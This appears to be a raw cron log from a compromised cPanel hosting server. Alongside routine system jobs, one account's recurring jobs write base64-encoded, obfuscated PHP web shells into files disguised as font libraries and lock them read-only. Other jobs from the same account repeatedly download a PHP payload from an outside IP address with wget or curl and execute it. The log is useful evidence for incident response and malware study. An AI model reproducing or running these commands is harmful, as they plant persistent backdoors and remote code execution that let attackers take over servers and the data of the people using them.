Sep  9 02:46:01 ip-184-168-122-23 CROND[30720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:46:01 ip-184-168-122-23 CROND[30719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:46:01 ip-184-168-122-23 CROND[30718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:47:01 ip-184-168-122-23 CROND[30816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:47:01 ip-184-168-122-23 CROND[30818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:47:01 ip-184-168-122-23 CROND[30819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:47:01 ip-184-168-122-23 CROND[30820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:48:01 ip-184-168-122-23 CROND[30950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:48:01 ip-184-168-122-23 CROND[30949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:48:01 ip-184-168-122-23 CROND[30948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:48:01 ip-184-168-122-23 CROND[30951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:48:01 ip-184-168-122-23 CROND[30952]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:49:01 ip-184-168-122-23 CROND[31124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:49:02 ip-184-168-122-23 CROND[31128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:49:02 ip-184-168-122-23 CROND[31127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:49:02 ip-184-168-122-23 CROND[31126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:50:01 ip-184-168-122-23 CROND[31213]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:50:01 ip-184-168-122-23 CROND[31216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:50:01 ip-184-168-122-23 CROND[31219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:50:01 ip-184-168-122-23 CROND[31217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:50:01 ip-184-168-122-23 CROND[31218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:50:01 ip-184-168-122-23 CROND[31220]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:50:01 ip-184-168-122-23 CROND[31221]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 02:50:01 ip-184-168-122-23 CROND[31215]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 02:50:01 ip-184-168-122-23 CROND[31223]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:51:02 ip-184-168-122-23 CROND[31321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:51:02 ip-184-168-122-23 CROND[31324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:51:02 ip-184-168-122-23 CROND[31322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:51:02 ip-184-168-122-23 CROND[31325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:52:01 ip-184-168-122-23 CROND[31405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:52:01 ip-184-168-122-23 CROND[31407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:52:01 ip-184-168-122-23 CROND[31409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:52:01 ip-184-168-122-23 CROND[31410]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:52:01 ip-184-168-122-23 CROND[31408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:53:01 ip-184-168-122-23 CROND[31501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:53:01 ip-184-168-122-23 CROND[31502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:53:01 ip-184-168-122-23 CROND[31505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:53:01 ip-184-168-122-23 CROND[31506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:54:01 ip-184-168-122-23 CROND[31660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:54:01 ip-184-168-122-23 CROND[31659]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:54:01 ip-184-168-122-23 CROND[31664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:54:01 ip-184-168-122-23 CROND[31665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:54:01 ip-184-168-122-23 CROND[31663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:55:02 ip-184-168-122-23 CROND[31750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:55:02 ip-184-168-122-23 CROND[31752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:55:02 ip-184-168-122-23 CROND[31754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:55:02 ip-184-168-122-23 CROND[31753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:55:02 ip-184-168-122-23 CROND[31756]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:55:02 ip-184-168-122-23 CROND[31755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:56:01 ip-184-168-122-23 CROND[31840]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 02:56:01 ip-184-168-122-23 CROND[31842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:56:01 ip-184-168-122-23 CROND[31845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:56:01 ip-184-168-122-23 CROND[31843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:56:01 ip-184-168-122-23 CROND[31844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:57:01 ip-184-168-122-23 CROND[31923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:57:01 ip-184-168-122-23 CROND[31926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:57:01 ip-184-168-122-23 CROND[31925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 02:57:01 ip-184-168-122-23 CROND[31929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:58:01 ip-184-168-122-23 CROND[31999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 02:58:01 ip-184-168-122-23 CROND[32002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:58:01 ip-184-168-122-23 CROND[32001]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
